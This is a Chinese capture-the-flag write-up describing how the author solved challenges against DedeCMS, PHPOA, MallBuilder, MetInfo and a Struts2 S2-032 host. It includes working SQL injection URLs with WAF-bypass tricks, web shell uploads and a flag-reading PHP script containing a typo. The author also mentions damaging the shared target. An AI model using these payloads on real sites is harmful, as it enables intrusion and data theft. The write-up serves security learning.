《安全智库》:48H急速夺旗大战通关writeup(通关策略)

时间:2022-10-07 19:17:24

作者:ByStudent

 

题目名字 题目分值 地址
MallBuilder2 350 mall.anquanbao.com.cn
MallBuilder1 200 mall.anquanbao.com.cn
DedeCMS2 300 cms.anquanbao.com.cn
DedeCMS1 200 cms.anquanbao.com.cn
MetInfo2 300 info.anquanbao.com.cn
MetInfo1 200 info.anquanbao.com.cn
PHPOA2 200 oa.anquanbao.com.cn
PHPOA1 150 oa.anquanbao.com.cn
BugScan1 500 scan.anquanbao.com.cn

0x01  DedeCMS

首先看到了织梦,直接admin 123456登录进去,发现左侧是空白的。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)
通过文件直接访问文件管理器。

/dede/file_manage_main.php?activepath=/uploads

在根目录下找到第一个flag,然后发现别人都瞬间750分了,然后挨个看了下flag.txt,拿到三个flag。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

上传之类的都不行,直接写个pht秒之。但是服务器特别的卡,也是醉了,一句话连不上,上了个大马,然后找数据库配置文件,找到后发现不可读。正卡着的时候发现flag.txt被删了,后台密码也被改了,所以啊,就改了后台,删了好多重要文件。

最后竟然发现文件都是777,然后把config改成了.txt,然后就读到了配置文件。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)
不过waf甚为强大。。

可以登录数据库,可以看到表dede_flag,但是就是没法读取数据,索性写一个php文件读算了。。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

0x02  PHPOA

这个乌云有案例,带脚本,任意文件上传。直接传个大马,这个数据库是可以直接读的,读到之后再写个php文件读取数据库中的flag。

案例传送门:

http://www.wooyun.org/bugs/wooyun-2010-163275

但是现在(写writeup的时候)上面的方法已经不能用了,很多东西都过滤了,不过可以传一个一句话,然后post这样读。。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

然后写文件读取flag。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

Getflag.php

<?php

$con = mysql_connect("localhost","root","2c2984bg");

$db_selected = mysql_selecst_db("flag",$con);

$sql = "SELECT * from flag";

$result = mysql_query($sql,$con);

while ($row = mysql_fetch_array($result)) {

var_dump($row);

}

mysql_free_result($result);

mysql_close($con);

?>

0x03 MallBuilder

flag.txt这时候不能访问了,访问就405,随便加个post就绕过了。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

乌云搜了下,搜到了MallBuilder 参数 brand 注入漏洞。

http://www.wooyun.org/bugs/wooyun-2010-0176842

但是只能读文件,怎么也绕不过waf,安全宝很强悍啊,什么都405。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

然后又搜到了一篇文章,用小数去绕过空格。

http://wooyun.org/bugs/wooyun-2010-0157857

http://mall.anquanbao.com.cn/?orderby=1&s=list&m=product&brand=x'and 1=2.11111Order by 44%23

终极Payload

http://mall.anquanbao.com.cn/?orderby=1&s=list&m=product&brand=x'and 1=2.2Union%0aSELECT%0a 1,2,3,4,5,(select name fromflag),7,8,9,10,user(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

0x04  MetInfo

MetInfo 5.2.4,这个也是乌云案例:MetInfo最新版(5.2.4)一处SQL盲注漏洞

http://www.wooyun.org/bugs/wooyun-2014-055338

这个最简单的方法,直接把表名改成flag,然后会下载一个excel表格,打开就是flag,因为flag被设置成了表名……Orz

http://info.anquanbao.com.cn//admin/content/feedback/export.php?met_parameter_1=flag--;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

《安全智库》:48H急速夺旗大战通关writeup(通关策略)
《安全智库》:48H急速夺旗大战通关writeup(通关策略)

0x05 BugScan

这个首先随便试了下,Tomcat/7.0.68 。找到了这个:

http://scan.anquanbao.com.cn/memoedit.action

猜测是Struts2,用工具试了下,确实存在S2-032,然而waf却拦截了命令执行。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)
试了好多种绕过的方法都绕不过去,无论什么都拦截,也是奇葩啊,最后无奈了,还是用最传统的方法:超长URL绕过去了,100w+。flag在根目录下。

《安全智库》:48H急速夺旗大战通关writeup(通关策略)

《安全智库》:48H急速夺旗大战通关writeup(通关策略)
《安全智库》:48H急速夺旗大战通关writeup(通关策略)

 

©本文章为《安全智库》的原创作者投稿,转载请注明版权。

http://mp.weixin.qq.com/s?__biz=MzI0NjQxODg0Ng==&mid=2247483766&idx=1&sn=1083cb1be8ffd25e052fb3510ad39918&scene=22&srcid=0616gCOUnR1mvvbZrLKKvTtP#rd

看不到图片的看原文吧,图片懒得加了,只是借鉴一下CTF的思路